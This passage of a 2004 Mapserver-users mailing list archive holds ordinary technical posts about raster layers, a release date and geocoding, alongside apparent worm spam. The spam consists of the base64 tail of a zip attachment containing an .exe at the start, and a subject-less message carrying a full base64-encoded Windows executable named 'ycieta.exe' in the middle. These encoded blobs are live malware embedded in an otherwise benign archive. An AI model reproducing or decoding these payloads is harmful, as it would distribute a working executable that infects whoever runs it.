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 ----------osbrxsmjuukkillpdrtu-- From gerry.creager at tamu.edu Fri Mar 26 19:55:49 2004 From: gerry.creager at tamu.edu (Gerry Creager N5JXS) Date: Fri, 26 Mar 2004 21:55:49 -0600 Subject: [Mapserver-users] Newbie Question about rasters In-Reply-To: References: Message-ID: <4064FB45.5060803@tamu.edu> Do you have a worldfile for the jpg? gerry Paul VanDyke wrote: > I've got a working installation of Mapserver w/ some test maps @ > 209.165.152.94. Please feel free to drop by and check them out. I'd > like to add a raster image layer to my maps. I can't seem to get the > raster working w/ Mapserver. I am using the same raster image in ArcGIS > and it works fine. > > I've tried several different things to try and make it work. Please > give me any hints, clues or advice that you think is relative. No help > will be turned away. :-) > > Here is my map file: > > MAP > NAME map6 > IMAGETYPE PNG24 > EXTENT -903026 648632 1888140 1849511 > SIZE 800 400 > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > # DEBUG ON > > WEB > TEMPLATE 'map6.html' > IMAGEPATH 'c:/program files/apache group/apache2/htdocs/tmp/' > IMAGEURL '/tmp/' > # LOG 'c:\mapserver.log' > END > > > # Start of LAYER DEFINITIONS ----------------------------- > > LAYER # water > NAME water > DATA kib_boundary > STATUS DEFAULT > TYPE POLYGON > > CLASS > STYLE > COLOR 115 207 255 > OUTLINECOLOR 32 32 32 > END > END > END > > > > LAYER # coast > NAME coast > DATA kib_coast > STATUS DEFAULT > TYPE POLYGON > > CLASS > STYLE > COLOR 0 216 56 > OUTLINECOLOR 32 32 32 > END > END > END > > > LAYER # MODIS raster layer begins here > NAME modis > DATA "raster/ak.jpg" > STATUS DEFAULT > TYPE RASTER > # PROCESSING "BANDS=1" > # OFFSITE 71 74 65 > END # MODIS raster layer ends here > > > > > LAYER # parcels polygon layer begins here > NAME parcels > DATA parcels2 > STATUS ON > TYPE POLYGON > > CLASS > STYLE > COLOR 241 238 163 > OUTLINECOLOR 32 32 32 > END > END > END # States polygon layer ends here > > > LAYER # lakes > NAME lakes > DATA lake > STATUS OFF > TYPE POLYGON > > CLASS > STYLE > COLOR 39 70 255 > OUTLINECOLOR 32 32 32 > END > END > END > > LAYER # rivers > NAME rivers > DATA river > STATUS OFF > TYPE POLYGON > > CLASS > STYLE > COLOR 39 70 255 > OUTLINECOLOR 32 32 32 > END > END > END > > LAYER # roads > NAME roads > DATA roads > STATUS OFF > TYPE LINE > > CLASS > STYLE > COLOR 0 0 0 > OUTLINECOLOR 32 32 32 > END > END > END > > SCALEBAR > IMAGECOLOR 255 255 255 > LABEL > COLOR 0 0 0 > SIZE TINY > END > STYLE 1 > SIZE 100 2 > COLOR 0 0 0 > UNITS MILES > INTERVALS 2 > TRANSPARENT FALSE > STATUS ON > END > > > > > # End of LAYER DEFINITIONS ------------------------------- > > > END # end of map file/object > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From teb at mallit.fr.umn.edu Sat Mar 27 04:30:04 2004 From: teb at mallit.fr.umn.edu (teb at mallit.fr.umn.edu) Date: Sat, 27 Mar 2004 13:30:04 +0100 Subject: [Mapserver-users] (no subject) Message-ID: ----------448145315341455 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------448145315341455 Content-Type: application/x-msdownload; name="hxobvnq.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="ycieta.exe" TVqQAAMAAAAEAAAAUEUAAEwBAgBGU0chAAAAAAAAAADgAA8BCwEAAAAkAAAAPgAAAAAAABK9 AAAAEAAADAAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAwAAAAAIAAAAAAAACAAAA AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADXvQAANAAAAACgAACgAwAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQ AAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAHRhAAAAIAAAAKAAAAseAAAAAgAA AAAAAAAAAAAAAAAA4AAAwEtFUk5FTDMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0Fk ZHJlc3MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzb1AAMG9QADDvUAAmAFAAAAQQACco0AA AVBAAAGQQAAAAAAAtEVAAAEAAAD/vUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA OAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAaAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAALSgAADoAgAA AAAAAAAAAACgoAAAFAAAAAAAAAAAAAAAAAABAAEAICAQAAEABADoAgAAAQAoAAAAIAAAAEAA AAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD////wAAAAAAAAAAAAAAD///D///AAAAAAAAAAAAD////w////8AAAAAAAAAAP/w//8P// D/8AAAAAAAAA//////D/////8AAAAAAAD/////////////8AAAAAAA////////8P////AAAA AAD/D///////AP//D/AAAAAA////////8PD////wAAAAD/////////AP/////wAAAA////// //8PD/////8AAAAP////////AP//////AAAADwAA////8PD///AADwAAAA///////w8P//// //8AAAAP//////Dw+f//////AAAAD/////8PD/+f/////wAAAAD////w8P//+f////AAAAAA /w//Dw////+f/w/wAAAAAA//8PD/////+f//AAAAAAAP//8P//////+f/wAAAAAAAP/////w //////AAAAAAAAAP/w//8P//D/8AAAAAAAAAAP////D////wAAAAAAAAAAAA///w///wAAAA AAAAAAAAAAD////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA///////wH///gAP//gAA//wAAH/4AAA/8AAAH+AAAA/AAAAHwAAAB4AA AAOAAAADgAAAAwAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAGAAAADgAAAA4AAAAPAAAAH wAAAB+AAAA/wAAAf+AAAP/wAAH/+AAD//4AD///wH/9VDovsV/yHfQhwTQzB6Q4CM8DjhvOr GRiD4QMVql8cycIIKCN0UzBdDE1qGeg4egJwAIPAYfyqS3XxV1sgwgnoWhkwHgGDxPxT/3Xs 6G5vIjrM2BQQ9GSJA+iDw/RTPmpAmP0hGolFZfwwDAglu4ELwHQzxkgsDCHoOLY3Bn38bSUb gwILDiVTCAkFmIuA6wqhDbagm8hkW/QMclaGnsc64b8D6IalIKg3TRBAINusweD84mcHC0MS 6wumDQMSeQIHSVFqBFlP9LgDitCA4j/B6AbV8/+rLxx7kquY/46DfeYSKXUPUIFQZrgNCtCr WABZC8l1rovLKxL5sD0QNPUoXnwGgPo+cxcKHjN3Db8wQRBadgOAButoDgqnHwnB6j7A4gKb FivPwdbDTafNaMEEqqQNIfAgFfQPiOFk8CjSht9akgEhB/RqwOicVSAKngbw1Qn7GmpcKAQM b1RGeRUF6YWpB0Bo2FJKrxzocllqhgICCTIDaDXAhSwFQFX8QHRcaGOxUejHMCGSRI1F+H9Q qhKRWJpWaBAgxh+japADBy0OSiIlc3R8Cmg9EiQE7OiUUMskDF8zelBiIblo3qJ5KSETu7Qp ecnwAVeNPTBUqDK1AwiJB8cF40VJ0L12hgT3JecbyCr/YoE9hAZw01N1/NJMBEfSIUAhIEEP gsGhghCRcQN1CmgFEQ0O6JD/Akr+OfcZBiURgOReBDCB4zF/C8P2yD/R6L/WDMI0BkEaJjPD +BIBAMx0BTXfsA8ImYkGxMYEkvOBBuNvK3XBP1B0/NEeP6xvQwIy11Iwl2irAiOkFKELRv5I lA0CA/DqMQUghgt1M/LDwCAHJYBWLFKdDCoPjSrG7ww36BKkktL3ad7CNX5dKDQwakkBdCFa IRM5dM1EEjHNUuJFTY74jfzsZYGPAsdCBE2CAiRqzmPKBvgvlhQsTvgxVo0oxwZHKmVGKTEi K0hVQzKQuEKJkiZtKSTojTSjEzhGIXrIisLHAqhai8giEc9Ht0dcKRgzSxEfZLRHdzI1UIjK FRWXOHjmEqRrjDyyYi5SHJXrGJLcHYjIugLE0+Lx4xVrj+HawekFzOsbAQvTD7YYQAOSLu5U VD+hRQwkk1CyhlBMNk2YvFMBS2s0BlPSIhkM9/F8AkVGgLDCgziQ9G8XWplfHRFaiVGYEI90 m0AX6zCLJeEPI9AFCDvBjXUGqShgP4JABOvoUqIx7BwSCNEyyn9Z9DH7QGv8UGgmEVMfOtkz DYDot7kg4fRFCbs0wOtBUk2Oi0AmUzu6MUeF4DK/Qhy+iyqEqLLQs4PAMQuIB0dODabqFzh1 AS029igIEVBJVVmmn+p+QivIOb+XPHtKNJOztjQWhkZHWSMkkQpDRCDQXPASEdkbMhAW4AJ4 +YWLZh7EjNUHDeLZsA3mBjYq2FAqbAm1EtD7USz8G1gN2IFBEIP4ASR1BCMskConhmG4PEMg EqUbjEv/Sh9xLW8bKQGIA5ABjIAz6FQEKfwNQA+EgiYmMRXoMhQP+EB0/GUUNIAY3hqWn0VU hJcyGASPibFnKTqvcwl0+KYDUvtEKKNJMBAmWnxFNQkKUghV66EMPahiIEU06S6dFVOJbhox KmZUCA+U7hIsMviT9OLDGxIK+fS1/DftaSRzcnGxGxiX8QsV8FNCsoEY9ASbNqloJDXoRsVl YdMHu0Fm6wXezJFI/HTWCnNbWYKBxHD+g8/oJmILVnUHSGDTGYOqFqa6UAxi+jdH/QGNhXKz Q/wBUZXsoDnrSRKG2RaWiWOjOBAGsw7NNTxVKNxIVaPGQj0PEEF8ZF+vXwhlUyEgFAxONGPJ UQ8lf+kjoB51SlhfWYE4ei0AcGR0E0CAeAPh6PFqTAUMSk3hyDehnDVi/RgQdAymFSropyGQ GMcP6xjluDDhdArHEgV3U82qYXWoJwS5Z76yzU+D6WAlQg20Kg5HuNwD61gS1ikMDkcE7hyl Oo2EPfRXSnuFCR3HmvgNxv70/NAVZlE6wow3qo/h7qQlUIk0kRb8hehnIXh0BKbEBGECsAFo caKA0JO4w1IUkzyOU8AGRIH7gK0Udge5B2Bci8vjMcmMUQ/56lAmGhOdwCd+HiUr2DE5UEka cDMQJIN9IQ10AmbJvILOhdsPlNJgRxQMUyvbShihQiZNaDJcb3i1VhC9GNYD80UUOAQmdQKz AaeXQyNBX4sN6J0jGztF23IxyATEdLwxZApjKPQgRdhiW0AMQopq2YzPhvuYajQ49fEf6q0F /xC2RDViJZHzR2poG9lkEBRkedIz+5N5nCJZIIB9/iD2C0i4dZnsECAcDMQjLXShmRcO2gYm SeAz22oGqIcC6CT2F/XIsBdgSwsQmKuu9LnKvSUChx4Ql4lE8oI4DAQFsDnrUB8LdWQKDAgP BM4lSg+nQrz9CERFFFDPRZYKCmxaZggWRVuo5Ay0z1uZVlNMbUGHNFbgJ17BCnYEhsSL7kXy LtsRR6oiTCiJA3Aymha1OyfH+iAK62RLQP8z6OxYFgHQiSRRVTEfARccQv/CmSLEFGCsLovI 5BVZewp/DPoFcxk+7JqMLFFWz2LNFcT7YaMN6wZRIdO8ZzW+4gwDDYOPihJ42J9OXizEamQM c/pXiQMh7Eni1UAs/J2/XZaWQ3lorBv12DNpqWQ/FOKWwmhIAlHyFLNHlxAdEUE9infopbtn b6UVDQ2WR78QZFuGZGImf0YDkEhhiyeAEAGOy2gTeugoVCAeXSUUUOdsgkG3dDroJLvyhm9O AjkN9nEd8MFN7AjXFxueF7e7TFCELorfTu5qZJtHLyCO17Au/D7yrgHfK9qAf//sdQECS4ld 8FFSsjdrJfUyN1nRm01ACRJV/SBPWYXJ/rilMWiGiO4PTtCyAg+0HrIBNa0LSDpLwKh8/4BT uWE11YbNUWaBFu/8IOoPhOfhKjSlglveyoVCfahPSE7zRcjOFKPEEQv20oiFgLnZoFSEa0oM hFOCIRRG5YYYyHaTiuvLPRvhsTSnBKrMESBY+9nKbBsRs1sW3I62QnpCV0AipImLBBKYyacR Qd/6DCvfFNUTn4qyxGrKCdETmQAKkTRzXU9MeMkIwJzUE5WzVOwlE/0GcQz8IDCsqJAcJD9K Zsc8tVaRhAPwNbTmhVPXQcZe6yEKmEAd7RDoanaB7DwAA/hZ/KyqSSR1+/M7b34h67uLxiFn J8V9SgeIUy7EUEUQrPpYy+KLKjYFkB9AEBTSZJVYy/gm8IiqyJKDnMsWASEdshI8tpEPiKO1 nZRdDks60EXquzEsEm9T2W30J55pLlpNrD2Dzs0H104GvAsCgPdG6g+U/51zi7de4tYll/hT 5wsSRchl8K1wPcw8AT9UOwvbK1AcESmOUFTpO2YKWoH6JJIGFIolG+spIpVyKAEYZlrkOzVV 8sCGvQy2q0H06DxTo0vasIIk4xHGs/Db1BEfL/SW5JR+DoA9t1yKJCwKxgUJBAHo69QiiQbl +CUXLmI1R2qvas1x2oko/Zt7MhLqQ1jniCa0rzh2WfOZsuJqA+oiR6w/JXIE0PjEHRHYO9eZ S5+fUEvABOghKxGxGEYOl0lYYNIS2SmbMEIJ3zH7KF0oflWsHfMDENIUUlIT6GPuS/gJBTzx 5KcDVFAUcooCCWjWrOp6o/9jLBDFEANbhdt1qazi/ZYioDOz/RPUJAQ0ASfFxuSfrmBrQhVu KSF8EBLwMzfBFke5GTntIHQCWPkzkw/tFjCPajLyjFVBivZe+BpC9gFRI5OzwZk9MsUwIO2F aeMnAkbwgWJ+DpQVMg1W6J/P2+Ke2WIf8JpnHVwtIAtFVi4nM7yomNAZZOH69xiSjkNPITUR fxhoqJ/oFaRBiw0rZlVDZLdyTzkMDio8ExUMaK+VxNIPLMH3DiMD5GVz/YRjusws6ptECmjA UmSAOG+Hn7EjxBNyqzloDiKY/s+k530ujPsMbq1DidD2Thyaf4A/MzVwNPhdsToJiPCT0cQk hD8zMvBIM9PO7Al2Qn9esGyMGNitjH4mKevPXMR0YhARzc67m+EBR4o0uA6xwpzvZFuA5TYO s60VjBBIaDCEEYvHW7npacHAQCxFzcxVOGVY2kh1NTCnhgYbJhJWtuJ5Aw+diekNqdxOikpT THkQKijPcVDqfbQ+Tbs3wUXF2IlhPgu2OkBciRof6wdRXQnOWQheyxlYOJCbDbQDZRCUAwkL e+BfGI8oQwyWtGbhgcQkL1JIoFvoYz5Fah4kFuEqEt5QaRR/lyYzFDGCFmTXUp4kiPJRCBIg HkVu8YVGV6hEDouoDPfYEpm5PF7SH/nH0n0C49pSIYT8sWroVKRNLAcQgH3FMAzJxiQrrEtF I2Jvy7CRI+IBQOoSE6QLWFkSsAMyUsVghGwNMSOSUvhSiSdGUoAoaPaUDUAU6OIMoXIgbOGi 2OYELr3tHEQIMWAMCNik7WPeNMzpKsEPC2wE6YbYogy5tF7+rxINh2dCkvzm1tIhlVaE2AIo aIZRjHdEa1kMFdkWWkstkBHchARorfx/RhSBAmgFVApEVeaOQxaIBd76NZcpdlmGoUZnk4jC 0AsWe7+F6Bk7QlEpIpgSV1O2yhHMChB2fQ7HBUbT485kFEpzu3A7Nb9OHaHuR1RMgfwLq0t1 8gkXc7MDU1czwMpdYkJcHgh2fZQgYhNLBPAlXBv/MY/Wq3HmDED4DIH0Aghju/pRqHIvZtkX OL8CWtgK+LGQEvOJtvwDTyh/6w8snwqXxaNTCAyXmxHrUws/Ipr39H+BoIRfW5xbWVNLjjGS QYM9Sdflcu6c4BIz0rj0QvdQJREFpN6aiksbTTPrYyJvSGBjE1pSSBd3OUP3yQgEpKP8HKpE vBoJdRvEY7DOF2iCJ5jgiUIJMV8N/wNcgPrLG1uWQOjecU4MsQH9O6hyDjSsPDCuBIM5diTD QTwRWj4cImFcetF8XC6tfHRffAx4LSQICgcdCyRKGAdyQ4oPyOvH/AvD5YAgTmz8mplzQzOp ziQGG5eVLUp85TkrgQiD+AJ8CStnSN4SFlBxu2ouPzHx2QljkycUDeAVklt35LgFrjGxibgg /pbBL7LF0FlaiVWX+k6H6zqqOwwPg6Mx/8c+gX0zECcBFHUOagHo3WWuDDL8oMlAdVp+IV7M /hLYRPhaEEBoyCvLgflh9NtzXoPgBXZIWQoK8429byjKW6wGrQeqcwUCi9fi8rCeCxfSdDkK NoUeIK5ltb1aGa9mJlwTCaBR2Fd5UmcdEyObQfwKTRv8VRAaXulULeX1p4RfU/h4qUEPjAdv YnlafFxivgd8dMRCefkHDCyNFOAUixKy1nDc+aT5cDMtU9sitLOUPxpMONC9F2iIhzhUeshM M5QrjQV+F2wZW4iMv0q7FA0LKNf1AoPJ//KuUpGaNs6mXgcotxB4gD+QZkjdpt/txV+sICXE 8PIEohMEEKegHVCla4ri6SACdDCAPYxvhA2UKExQ9kD466ENaEcY9ucfjg0lRQcU6oGZKAuK nffgaDYrQKl1nlT3LKTSvRYmL/RXZjTFpqoG8xQVPgEPIZuvERHemBeLMglUpEt/vbtBsxYW 3JyacLWDz8YEd+oAVfSNUixmgzqwDHY/bIEMDjimkGiJhhyFEvcCoSTAdBopaAdOkG/IDERr 7f1D+zQlFZKuL7JqgqSyBXpw+JihDJoUiK3+8XalNfYR+ETl49YFQOjNBfe+UPYV3ZWmjshC EbhejiktU7nimlkzztYOQ+hgXiEF5YA+B7IcVuZAHZDeGQN1BhaSs5EMxX8jCvBG699UEWRN 5y7Dnmi6KYCfAYZo0AeRRGbrSuYwxZRTVr84pysFk3MtalbBxA84bZThKs0Igd9tFl54FGmr 2TrRYRQNJDfoVtenaSKRI0BvNLyT28YsL5NikwYP26lxiaE5K8eJ45NeRLZ9V3+cmZGaBUz0 oQm/3Lw+NOhX34gl7JZ1SkYvEAHh9cxcoYnrX+840fyUlWiHifctTJYh8wMdyadMBLCmRqBK UyTywDFui8ZF+xsIha41LmYIDhCvguiZ4X7nTwUX5jLuBYnsOBZU67bzYlwCExNC4+XipMUB jVNHs6eE2OVKvRUFAnQXIwkDyg4xBOQF6b6etLsOs8gTLHhbpmIj+gEQgeRYJ8o3/42Rc1EU RDhgGuiwA5Hvs763UIcXvaEWuCpEHquhidbapasIdkbiaNtfpVENHA8shW15aXDE5VyYWkbq I2KJ6eT5nuKFqLz6J97kRgP+taIZGUMXHB+ORaZrECvUseiiIxBShYY34D8QFFRAstEoHWgT xL5FaCAsJK2KVRQv+QhArBtn0tWJyZIE3jURm0O/Yjyk/il75BS3x+GDvUQZw2wjQ5IkQc0E B2cl2kogpcXh67YxDV4BIkuTApgRaBqel0MWRg4p/ChkFYSwSejrlBaaCWqgIS9GEmmTqZqt Y0LsdOFaXkdh/wV7eIaI/Au/4llqJEwTCKMQTKhyu10NQuMz/nz3QsTeC06RihLRHR4Mu3q4 U3tDdRpNfuUOFGaD87C2DaZGdsaC1kI5SjIJgVaMxmXb8A3Q+ZSiBMRua589CbSiMYM9ZGeY tEwZsDKvJ/yS33QokgXSZqODHGh/dXngMblpSQQK6h19qPw8IndTkL387lD6NwGBaO+2jVqx kPz0zP8bJaRAbbK4pAa0MrAZrAychkOgIaiQJMgoZCwyMBk0DDiGQzx7hkNEIUiQTMhQZFQy WBlcDGCGQ7whZJBoyGxkcDJ0GXgMfIZDgCGEkIjIjGSQMpQZmAzkhiEwQRAoyCRkIDIcGRgM FIZDDHCGQwQhCJAQyCxlxEpUyAaQ3MjUZNgy0Bn4DPSGQ/Ah7JAUyBBkDDIIGRwNwgwAZxxo aXW6jmZ0eV33Fq4HjxIOADIxNy415DneCh4zeFYBfRh3YWIKdHjlAG1zZ4Fo77weaQYgBX94 QGxkd2LRPwV7iWVAFG5jaIvSZgFvZHMH7zl7YeVwBzVoGQVFd/oiYWSOX51qVcyfbFlvaGYV nhlubWfbQIsZZKlzariDDkBhdt63DPBpY3JvUXMswSXcP3B1PQZsdSZpZA7bglaP8zovi3dh AshlcmTPdnr8Nah4RGF+dDA6IEYNClRSbwgAU3ViamVjdNkaFkaUnm0Vh01lXsdhZ1EtSUSb IDwiNwQ+Kd5DRS1Wfp4YaW9uLDEuZjAmQxTYngYtVDB5cK1tdWz8afJhdXJQL5p4GWVkO0Ag TAFiDG91bmQyeRQ9Ii0B26TcGwSGIIUSI1DMFnjUligkYQgfOyRMMX5zZf87gnU9LXn8aePm li48cmGUc2aZeUhFc1FrmFxndjdi7nSvYOdhXbpHQ2/10AkveC0H3WSHd5dsyQ2Q3N+v5mXW OFsltjUCCkhd0EHPHnCKYpQFZTY0KCNESGmoe+fX5I0rvMRzocBtsDG0Zmls8U5eka1BBRqx aAgSFC4axjpsCKPIrIKgMQNpZr5szch0G+Rnb+/L9WMcMIFhLkSNghJvieEDPnEChwHNDQHC lwEg7yRoZau7UX4ILlMAT0ZUV0FSRVzrRdNDC3MyMIs0gmeP2JQaok1lciMkPA5DdXI12UkX 399S9JCHsiRhlH9KWVwNcGZyKzFuhccsByA63pw8HD4cQ2QpODdCDQmTmYBIRUxMT4rcD1JT bFQPTQdBSUwgRtdPgjo8Zo7BMENQVCDJT1gPRH5B5ZIPWzNVXYNkHAInLJsgDJtNdwJFebip rDqPOczZahQnDDNpCDLpJFhc4CpyLpA1azRvDwWnYnNa7w8gLV30DCazAADgAc4FICwQDQTg 6GwCIQABOCRA8A5rZXJuYGwzMi5k69uBSGnzu0Pob3NlqQpG+XLpdJ8KbJVBDzxOKXgOnkm8 jkNvbSxhKEzQMBCPRLz8jUZvcijqkw/RaXbYVHlScB1ANlPoevtADExvY35hfVRTbQ09Z2gf Lp9Tswxu+nOgMU1vZHXQZjcKTmFtREJTeY+M3xREk398Y9/QahTfjhRriR51bmkNFW2CpA8P WvSee+ZmqxX+GIEXV1fJondznEiB8GJHg4r+IJngTtAIC/NGQEyoT/BwPFZpO3epZpA4PVRk CmGBIU11Q454g1V/GGhwDJtocToobySG3j9XbtM4z1nfFXSfKlPkwxxPYmps/ygaRW14EhAG +oKJJm6+lGjwwiEJBW1waTcKlXkmCUb/lBJFlmhGgsgNw1RoNQ9kGiK8SEuYGJdHeKpQcqPG 03ONNCUKYk2VONSDQaUTsxlvRsAKZuhhNIXGqx0pB4kB5KYudb75NyxA9XCSsSB0ZnAB6ag0 VMrWaxtibmlLEa8MCGNvdmQqbOtHa/+/1F+icWhyI584MmkcaI6rnqTeowwKYnkOvvvv4o8x VMuQVG48BmRpZ/WoAmzKGHUTQVlTQcvtHqp/snD+xKaZb8yGfYLDiPP6OVG2JXEd5iVbgQ5t T25IR03PkWTQH3NoUncKDWk0mVVCVEHNbUFBCVJDIUwWCW1USQlE0crlEexAQYkk8XSpNEtE /Mk79U8x5elVIJlBpxGhDkVHlCxn0/VkWrIMORpDI63GAQi99+l2VJF0x4FoZ1OUSFauUTAg JEGhD1GkFLAhEcVDM91L+nmSDg1PG5GYHBRpcN9zhST4mU4GdzB+a0hQM1AJc5KywUdTSEVM xphuVWhpZQwSjEtVMJwCAL6kAUAArZOtl61WlrKApLaA/xNz+TPJ/xNzFjPA/xNzH7aAQbAQ /xMSwHP6dTyq6+D/UwgC9oPZAXUO/1ME6yas0eh0LxPJ6xqRSMHgCKz/UwQ9AH0AAHMKgPwF cwaD+H93AkFBlYvFtgBWi/cr8POkXuudi9ZerUh0CnkCrVBWi/KX64etk15GrZdW/xOVrITA dfv+DnTweQVGrVDrCf4OD4Tbc///VlX/UwSr6+AzyUH/ExPJ/xNy+MMC0nUFihZGEtLD/70A AAAAAAAAAAAAVAEAAP+9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGEBAABvAQAAAAAAAAAAAAAA ----------448145315341455-- From bartvde at xs4all.nl Sat Mar 27 05:58:33 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Sat, 27 Mar 2004 14:58:33 +0100 Subject: [Mapserver-users] release date for Mapserver 4.2? Message-ID: Hi list, has a release date for Mapserver 4.2 already been set? Best regards, Bart From john.hagstrand at interageresearch.com Sat Mar 27 07:53:08 2004 From: john.hagstrand at interageresearch.com (John Hagstrand) Date: Sat, 27 Mar 2004 09:53:08 -0600 Subject: [Mapserver-users] RE: geocoding product In-Reply-To: <20040326180004.22733.16373.Mailman@lists.gis.umn.edu> Message-ID: Hello Will and Eric, I am working on a geocoder also. I need to support a variety of data formats: NavTech and 